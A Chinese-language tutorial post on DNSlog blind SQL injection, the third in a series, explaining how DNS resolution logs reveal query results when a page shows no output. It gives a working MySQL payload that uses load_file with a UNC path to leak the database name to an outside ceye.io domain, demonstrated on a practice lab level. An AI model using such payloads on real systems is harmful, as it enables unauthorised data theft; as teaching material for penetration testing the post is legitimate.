Web渗透测试之SQL注入:盲注特别篇--DNSlog盲注
前言
前两篇依次讲解了布尔盲注和时间盲注,二者本质上并无太大区别。但由于盲注本身的弊端导致在现代渗透测试进行盲注时二者难有用武之地,在盲注中真正发挥作用的是DNSlog盲注。因此本篇将会着重讲解DNSlog盲注。
DNSlog注入
在讲解布尔盲注时笔者提到过盲注的关键点就在于一个“盲”字,而产生“盲”的原因就在于页面无回显,这就导致了我们只能通过其它表征(如页面对错、时间差等)来不断猜解拼凑我们想要的信息。因此盲注本身的性质决定了如果进行手工盲注费时费力,如果采用工具盲注将会在短时间内产生大量SQL注入尝试,极其容易被WAF发现并禁用当前IP。
仔细分析盲注在现代渗透测试中的困境就会发现,只要能解决“盲”也就是页面无回显的问题,那么盲注的困境就迎刃而解了。而目前的手段是利用DNSlog形成伪回显以解决“盲”的问题。
原理
在介绍DNSlog注入前先简单引入几个相关的概念:
域名:如www.baidu.com,这就是一个域名;
IP:如127.0.0.1,这就是一个IP;
DNS:将域名解析为IP。
接下来就是域名解析的简略过程:
浏览器将域名发送给DNS根服务器 —> DNS根服务器返回目标域名服务器 —> 浏览器访问目标域名服务器 —> 目标域名服务器返回解析所得IP。
需要注意的是,域名解析时会产生解析日志(即DNSlog)。利用这一机制,我们只需将查询得到的结果加入到域名中,然后让数据库访问该域名,最后查看DNSlog即可获得我们想要的信息。在查询结束后,我们只需使用函数load_file就能让数据库发起访问请求。
一图详解:
平台
明白了DNSlog盲注的原理之后,当前首要的问题就是获得域名以及服务器。笔者采用的是在线平台CEYE(http://ceye.io)的域名和服务器。如果有自己的域名和服务器的话可以在本地搭建,以下是GitHub源码地址:
https://github.com/ADOOO/DnslogSqlinj
示例
以Level8为例,语句如下:
‘and load_file(concat(’\ \ \ \ ‘,(select database()),’.xbz33j.ceye.io\ \abc’)) - -+
执行后查看DNSlog结果如下:
发现查询得到的数据库名确实出现在了域名中。
总结
相比于传统的盲注,DNSlog盲注通过将查询结果加入域名内,再借助DNSlog查看查询结果形成伪回显的方式,大大减少了尝试注入次数。但需要注意的是,load_file函数只能在Windows发起,且域名解析有长度限制,如果过长还需进行截断处理。